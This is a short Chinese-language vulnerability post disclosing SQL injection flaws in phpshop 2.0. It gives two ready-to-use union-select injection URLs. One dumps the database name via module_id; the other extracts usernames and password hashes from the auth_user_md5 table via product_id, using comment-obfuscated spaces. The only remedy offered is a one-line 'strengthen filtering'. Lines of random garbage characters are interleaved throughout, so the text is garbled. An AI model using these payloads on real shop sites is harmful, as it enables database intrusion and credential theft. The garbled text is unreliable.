phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
8 E4 x8 k* m3 z4 t9 |* Y
  e$ m+ Z, Z8 q6 ]4 ^6 s4 V作者 : By onestree
! Y: {9 K! o. w/ H% q2 `9 B下载地址 : http://code.google.com/p/phpshop/downloads/list
! k6 S. ?: Q& n" Q" w4 U+ j( _测试地址: windows 7 / ubuntu


. {1 m+ b: |' M% r8 X/ W! lSQLi p0c:
9 v6 T0 Q/ g6 ]; L* V1 c3 P* j
==================
% t3 O+ g! P5 E% K5 j
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
# l1 R, y: y$ P# Zunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
  L, p9 S. c- L, E/ h  t
2 K) U- \; `' _8 chttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
) N! [* q+ I( o
: C" j! P$ |7 `0 R修复：
% c+ q+ \$ n3 _8 x加强过滤
. B4 H) i* i) |​
( J  Z% d4 p( e